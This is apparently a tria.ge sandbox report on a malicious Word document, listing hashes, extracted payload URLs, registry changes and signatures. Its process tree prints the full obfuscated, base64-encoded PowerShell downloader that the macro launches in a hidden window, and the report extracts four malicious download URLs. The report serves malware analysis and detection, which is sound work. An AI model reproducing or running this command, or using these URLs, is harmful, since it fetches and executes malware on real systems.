Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
28/05/2024, 22:27
Behavioral task
behavioral1
Sample
7e9f335b49f7d026508d63b75bdc0f1f_JaffaCakes118.doc
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
7e9f335b49f7d026508d63b75bdc0f1f_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
-
Target
7e9f335b49f7d026508d63b75bdc0f1f_JaffaCakes118.doc
-
Size
121KB
-
MD5
7e9f335b49f7d026508d63b75bdc0f1f
-
SHA1
e87dd29e12164407d76276be13b9c10449a7d8c3
-
SHA256
f294e3bee01492d9c7b373ed1b38540d720a125341c891bb2f1a8856227cc304
-
SHA512
a1fc109a59783fa80ec8c6aaa71e476f2a71ab8ba7ff7848ecb89f64a5060b425e62b85a3645bbbc0624776d920873c70afff2c46883449a17d934ddf4391360
-
SSDEEP
1536:E1KwMGDHEX0zZUsN+agwBNyd+5sv/UHDdi1Nnpfe40rCU/2qfEYE+umL:OzDkXs6a80gcjdUU5JZEh
Malware Config
Extracted
http://macrospazio.it/p4kEoI7/
http://ondernemerstips.nl/mPs8pP/
http://planitsolutions.co.nz/tLLiAh4/
http://franssmanmedia.nl/kNBIm7/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1412 1028 PowersHeLL.exe 27 -
Blocklisted process makes network request 5 IoCs
flow pid Process 6 1412 PowersHeLL.exe 8 1412 PowersHeLL.exe 10 1412 PowersHeLL.exe 11 1412 PowersHeLL.exe 13 1412 PowersHeLL.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1412 PowersHeLL.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1028 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1412 PowersHeLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1412 PowersHeLL.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1028 WINWORD.EXE 1028 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1028 wrote to memory of 1332 1028 WINWORD.EXE 28 PID 1028 wrote to memory of 1332 1028 WINWORD.EXE 28 PID 1028 wrote to memory of 1332 1028 WINWORD.EXE 28 PID 1028 wrote to memory of 1332 1028 WINWORD.EXE 28 PID 1028 wrote to memory of 1412 1028 WINWORD.EXE 29 PID 1028 wrote to memory of 1412 1028 WINWORD.EXE 29 PID 1028 wrote to memory of 1412 1028 WINWORD.EXE 29 PID 1028 wrote to memory of 1412 1028 WINWORD.EXE 29
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e9f335b49f7d026508d63b75bdc0f1f_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1332
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHeLL.exePowersHeLL -WinDowsTyle hidden -e JgAgACgAIAAkAFMASABFAGwATABpAGQAWwAxAF0AKwAkAHMAaABlAGwATABpAEQAWwAxADMAXQArACcAeAAnACkAKAAgACgAKAAiAHsAMQAzADMAfQB7ADAAfQB7ADUANQB9AHsANAA5AH0AewA1ADgAfQB7ADYANwB9AHsANgAwAH0AewAxADAANAB9AHsAMQAxADQAfQB7ADUAMgB9AHsAMQA2ADgAfQB7ADgANQB9AHsAMQA5AH0AewAxADQAfQB7ADYAMwB9AHsAMQAwADcAfQB7ADQANAB9AHsAOQA0AH0AewAxADUAOQB9AHsANQA5AH0AewAxADIANwB9AHsAMQAyADUAfQB7ADEANQA4AH0AewAxADMAMgB9AHsAMQA2ADcAfQB7ADIANAB9AHsAMQAzAH0AewA5ADgAfQB7ADMAMgB9AHsAMQA1AH0AewAyADYAfQB7ADYANQB9AHsANQA0AH0AewA4ADEAfQB7ADEAMgA4AH0AewAxADYANgB9AHsANQB9AHsANAA1AH0AewAzADUAfQB7ADgANgB9AHsAMwB9AHsAOAAwAH0AewAxADQAMQB9AHsAOAA4AH0AewA4ADcAfQB7ADQAOAB9AHsANgB9AHsAMQAwADEAfQB7ADEANQA0AH0AewAxADUANQB9AHsANwA1AH0AewA1ADcAfQB7ADEANAAwAH0AewAxADMAMQB9AHsAMgAwAH0AewA2ADQAfQB7ADEANQAzAH0AewAxADIAMAB9AHsAOQAwAH0AewA5ADYAfQB7ADcAMwB9AHsAMQA1ADAAfQB7ADEAMgAzAH0AewA0ADYAfQB7ADMANgB9AHsAMQA0ADIAfQB7ADkANwB9AHsAMQAzADcAfQB7ADkAOQB9AHsAMQAwADIAfQB7ADEAMAA1AH0AewA4ADMAfQB7ADYAMgB9AHsAMgA4AH0AewA5ADIAfQB7ADEAMQAzAH0AewAxADYAMgB9AHsAMQAyADkAfQB7ADgAfQB7ADEANgA1AH0AewAxADUANwB9AHsAMQA1ADIAfQB7ADEAMwA2AH0AewA5ADUAfQB7ADUAMAB9AHsAMQAwADAAfQB7ADMAMAB9AHsAMwA5AH0AewAxADQANgB9AHsAMQAzADgAfQB7ADYAOAB9AHsAMQA0ADMAfQB7ADEANQAxAH0AewA0ADIAfQB7ADEAMQAyAH0AewAxADcAfQB7ADEANAA5AH0AewA0ADMAfQB7ADEAMgAxAH0AewA5ADMAfQB7ADEAMgB9AHsAMQAzADAAfQB7ADEAMQAxAH0AewA4ADkAfQB7ADEAMAAzAH0AewAxADEAMAB9AHsAMQAzADkAfQB7ADEAMQA4AH0AewA4ADIAfQB7ADEAMgAyAH0AewAxADEAOQB9AHsAMQA2AH0AewAyADcAfQB7ADUAMwB9AHsAMQAwADYAfQB7ADgANAB9AHsAMQAyADYAfQB7ADcAOAB9AHsAMQA1ADYAfQB7ADEANgAxAH0AewAyADMAfQB7ADEANgAwAH0AewAyADUAfQB7ADMANwB9AHsAMQB9AHsANAAwAH0AewA0AH0AewAxADYANAB9AHsAMQAxADYAfQB7ADEAMAA5AH0AewAyADkAfQB7ADkAfQB7ADMANAB9AHsANwAwAH0AewAzADEAfQB7ADYAMQB9AHsAMgAyAH0AewAxADEANwB9AHsANAAxAH0AewA2ADYAfQB7ADEAOAB9AHsAMQAxAH0AewAxADMANAB9AHsAMgAxAH0AewA5ADEAfQB7ADYAOQB9AHsANwB9AHsANAA3AH0AewA3ADQAfQB7ADcANwB9AHsAMQAzADUAfQB7ADEANAA3AH0AewA1ADEAfQB7ADcAMQB9AHsAMQAxADUAfQB7ADMAMwB9AHsAMQAyADQAfQB7ADcANgB9AHsAMQA0ADgAfQB7ADEANAA0AH0AewAzADgAfQB7ADUANgB9AHsANwAyAH0AewAxADAAOAB9AHsAMQA2ADMAfQB7ADEAMAB9AHsAMQA0ADUAfQB7ADIAfQB7ADcAOQB9ACIAIAAtAGYAJwBuAHMAJwAsACcAZgBjACAAaQBuACAAcgAnACwAJwB7ACcALAAnAGwAaQBlAG4AdAAnACwAJwBEAEMAJwAsACcAbQAuACcALAAnAD0AIAByAEMAUwBuACcALAAnAG0AcgB3AGkAJwAsACcAbwBuAGQAZQByACcALAAnAHIAQwBTAFkAWQAnACwAJwB9ACcALAAnADEAOAAnACwAJwBpACcALAAnAEIAZAAnACwAJwBCAGQAKQAgAHIAYQAnACwAJwBiAGoAZQBjAHQAJwAsACcAUABzAHEAQgBkACAAJwAsACcAbgBtAGUAJwAsACcAdwBsAGUAJwAsACcAYwBxAEIAZAArAHEAQgBkAHQAcQAnACwAJwBBAEQAQwBYACAAPQAgACcALAAnAGMALgAxADgAJwAsACcAbgAnACwAJwBkACkAOwAnACwAJwBkACsAcQAnACwAJwByAGUAYQBjACcALAAnAHEAQgBkACcALAAnACsAIAByACcALAAnAGkAdAAvAHAANAAnACwAJwB7ACcALAAnAGkAdABzAG8AbAB1AHQAJwAsACcAdwAnACwAJwBvACcALAAnAHEAJwAsACcAVQAuADEAOABUAEQAbwAnACwAJwB0AC4AVwBlAGIAJwAsACcANgBNACcALAAnAGgAKAByAEMAUwBhAHMAJwAsACcAQwBTACcALAAnAGkAbwAnACwAJwBDAFMAQQAnACwAJwBhAGQAJwAsACcAYQBuAHMAcwAnACwAJwAuAG4AbAAvAGsATgBCACcALAAnAG0AOwAnACwAJwBOAGUAJwAsACcALwAnACwAJwBtACcALAAnACAAJwAsACcAYQBzAGQAIAA9ACcALAAnAGgAdAAnACwAJwBTAFMARABDACcALAAnAGUAcQAnACwAJwBDAFMATgBTAEIAIAArACcALAAnACAAJwAsACcAYQBkACcALAAnAFMARABDACkAJwAsACcAMwAzACcALAAnACAAJgAnACwAJwBZAFkAVQAgAD0AJwAsACcAZABuAHEAQgBkACsAcQAnACwAJwBXACcALAAnAC4AJwAsACcAbgBkACcALAAnAHEAQgBkAA0ACgBoAHQAdABwADoALwAvACcALAAnACkAJwAsACcARgBJAG0AcgAnACwAJwAoAHEAQgAnACwAJwBpAEEAaAA0AC8AQABoAHQAdABwACcALAAnAHIAJwAsACcAbQByACcALAAnACkAOwAmACgAcQBCAGQASQBuAHYAbwBxAEIAJwAsACcAOwBiAHIAJwAsACcAbwBlAHMAJwAsACcAcgAnACwAJwAwADAAMAAsACAAMgA4ADIAMQAnACwAJwBlAG0AcQBCAGQAKQAnACwAJwB3ACcALAAnAHEAJwAsACcAfQB9ACcALAAnADsAcgAnACwAJwBTACcALAAnAHEAJwAsACcAbwAnACwAJwAoAHEAQgBkACcALAAnAHcALQBvAGIAagBlACcALAAnAEMAJwAsACcAUwBCACcALAAnAFMATgAnACwAJwBTAFMARAAnACwAJwBkAGUAcwBvAGwAJwAsACcAVABUAG8AUwB0ACcALAAnAGsARQBvAEkANwAvACcALAAnAC4AUwBwAGwAJwAsACcAcgAnACwAJwBQAC8AQAAnACwAJwB1AGMAJwAsACcAZwA3AC8AJwAsACcALQAnACwAJwBoAHQAdAAnACwAJwB0AHAAOgAvAC8AcABsAGEAbgAnACwAJwBzACcALAAnAHAAOgAvAC8AbQBhAGMAcgBvAHMAcABhACcALAAnAEMAJwAsACcAQgAnACwAJwB6AGkAJwAsACcAIAAnACwAJwBvACcALAAnAGUAYQBrACcALAAnAHkAJwAsACcAIAA9ACAAJwAsACcAcgBDACcALAAnAG0AYQAnACwAJwBAAGgAJwAsACcAZAAnACwAJwBkACsAcQBCAGQAawAnACwAJwApAHsAdAByACcALAAnAGwAbQByAHcATwAnACwAJwArACAAJwAsACcAZABlACcALAAnAGEAJwAsACcASQBtADcALwBxAEIAZAAnACwAJwBCACcALAAnAG0ALgBiAHIAJwAsACcAQgBkACsAcQBCAGQAZQAtAEkAdAAnACwAJwBCAGQAJwAsACcALgBlAHgAJwAsACcAIAAuACgAcQAnACwAJwB5AHMAdAAnACwAJwB0AHAAOgAvAC8AJwAsACcAdAAoAHEAQgBkAEAAcQBCAGQAKQA7ACcALAAnAFMAJwAsACcAcQBCAGQAKwBxAEIAZAB3ACcALAAnAHIAQwBTACcALAAnAFQAKAByAEMAUwBhAHMAZgAnACwAJwBOAGcAJwAsACcAOABwACcALAAnAEAAJwAsACcAYwBvAC4AbgB6AC8AdABMAEwAJwAsACcAcgBDAFMAZQBuAHYAOgBwAHUAYgBsAGkAYwAgACcALAAnACkAOwByAEMAJwAsACcAQwAnACwAJwBnACcALAAnADoALwAvAGYAJwAsACcAcgAnACwAJwBjAGEAdABjAGgAJwAsACcAbgBzAC4AJwAsACcAMQA4AFQAKAApACwAIAByAEMAJwAsACcAKAAnACwAJwBkAGkAYQAnACwAJwAuAGMAbwAnACwAJwByACcALAAnAGkAcABzAC4AbgBsAC8AbQBQAHMAJwAsACcAdAByAGkAJwAsACcAYQBkAGEAJwAsACcAcwBkAC4AbgBlAHgAdAAoADEAMAAnACwAJwBCAGQAKwBxAEIAZABlACcALAAnAHMAdAAnACwAJwBuAGUAJwAsACcAQwBTACcALAAnAGYAbwAnACwAJwBxAEIAJwAsACcAdAAnACwAJwA7ACcALAAnAFgAJwAsACcAbgBlAG0AZQByACcALAAnAGUAJwAsACcAcQBCACcALAAnAEIAZAArAHEAQgBkACcAKQApAC4AcgBFAHAAbABhAEMARQAoACgAWwBjAGgAYQBSAF0AMQAxADQAKwBbAGMAaABhAFIAXQA2ADcAKwBbAGMAaABhAFIAXQA4ADMAKQAsAFsAUwBUAHIAaQBOAGcAXQBbAGMAaABhAFIAXQAzADYAKQAuAHIARQBwAGwAYQBDAEUAKAAnAGUAUABzACcALAAnAFwAJwApAC4AcgBFAHAAbABhAEMARQAoACgAWwBjAGgAYQBSAF0AMQAxADMAKwBbAGMAaABhAFIAXQA2ADYAKwBbAGMAaABhAFIAXQAxADAAMAApACwAWwBTAFQAcgBpAE4AZwBdAFsAYwBoAGEAUgBdADMAOQApAC4AcgBFAHAAbABhAEMARQAoACgAWwBjAGgAYQBSAF0ANAA5ACsAWwBjAGgAYQBSAF0ANQA2ACsAWwBjAGgAYQBSAF0AOAA0ACkALABbAFMAVAByAGkATgBnAF0AWwBjAGgAYQBSAF0AMwA0ACkALgByAEUAcABsAGEAQwBFACgAJwBtAHIAdwAnACwAJwBgACcAKQAgACkA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
